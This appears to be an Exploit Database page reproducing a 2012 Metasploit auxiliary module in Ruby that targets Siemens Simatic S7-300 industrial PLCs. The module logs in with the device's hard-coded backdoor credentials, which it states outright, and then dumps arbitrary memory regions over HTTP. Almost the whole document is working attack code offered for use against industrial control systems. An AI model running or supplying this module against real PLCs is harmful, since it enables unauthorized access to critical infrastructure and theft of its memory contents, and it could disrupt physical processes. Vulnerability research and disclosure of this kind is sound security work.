Siemens Simatic S7-300 – PLC Remote Memory Viewer (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Dillon Beresford
  日期： 2012-07-14
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/19832/

• # Exploit Title: Siemens Simatic S7 300 Remote Memory Viewer Backdoor
  # Date: 7-13-2012
  # Exploit Author: Dillon Beresford
  # Vendor Homepage: http://www.siemens.com/
  # Tested on: Siemens Simatic S7-1200 PLC
  # CVE : None
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Auxiliary
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Auxiliary::Scanner
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'=> 'Siemens Simatic S7-300 PLC Remote Memory Viewer',
  			'Description' => %q{ This module attempts to authenticate using a hard-coded backdoor password in 
  							 the Simatic S7-300 PLC and dumps the device memory using system commands.
  							 Mode: Values 8, 16 or 32 bit access
  							 Valid address areas are:
  							 80000000 - 81FFFFFF SD-Ram cached
  							 A0000000 - A1FFFFFF SD-Ram uncached
  							 A8000000 - A87FFFFF Norflash
  							 AFC00000 - AFC7FFFF ED-Ram int. uncached
  							 BFE00000 - BFEFFFFD COM-ED-Ram ext.
  							 C0000000 - C007FFFF ED-Ram int. cached
  							 D0000000 - D0005FFF Scratchpad data int.
  							 D4000000 - D4005FFF Scratchpad code int.
  							 F0100000 - F018FFFF SPS-Asic 16-Bit access only
  				},
  			'Author'			=> 'Dillon Beresford',
  		'License' 			=> MSF_LICENSE,
  		'References' =>
  				[
  				[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-204-01%20S7-300_S7-400.pdf' ],
  					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
  					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
  				],
  			'Version'=> '$Revision$',
  		'DisclosureDate' => 'June 2011'
  		))
  		register_options(
  			[
  				Opt::RPORT(8080),
  				OptString.new('USER', [ true, 'Simatic S7-300 hardcoded username.', 'basisk']),
  				OptString.new('PASS', [ true, 'Simatic S7-300 hardcoded password.', 'basisk']),
  				OptString.new('MODE', [ true, 'Memory Read Mode (8-bit, 16-bit, 32-bit)', '32']),
  				OptString.new('HEX', [ true, 'Simatic S7-300 memory offset', '1']),
  				OptString.new('OFFSET', [ true, 'Simatic S7-300 memory offset']),
  				OptString.new('LENGTH', [ true, 'Memory Dump Length in Bits', '256'])
  			], self.class)
  	end
  
  	def run_host(ip)
  		
  		begin
  			user = datastore['USER'] 
  			pass = datastore['PASS'] 
  			
  			print_status("Attempting to connect to #{rhost}:#{rport}")
  			len = '1024'
  			login = send_request_raw(
  				{
  					'method'	=> 'GET',
  					'uri'	=> "/login?User="+user+"&Password="+pass
  				})
  
  
  			if (login)
  		
  			request = send_request_raw(
  				{
  					'method'=> 'GET',
  					'uri' => "/tools/MemoryDump?Address="+datastore['OFFSET']+"&"+"Hex="+datastore['HEX']+"&"+"Length="+datastore['LENGTH']+"&Mode="+ datastore['MODE']
  				})
  				if (request and request.code == 200)
  
  				print_good("Success! Dumping Memory on #{rhost} \r\n\n#{request.body}")
  				elsif (request and request.code)
  					print_error("Attempt #HTTP error #{request.code} on #{rhost}")
  				end
  			end
  	
  		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  		rescue ::Timeout::Error, ::Errno::EPIPE
  		rescue ::LocalJumpError
  		end
  	end
  end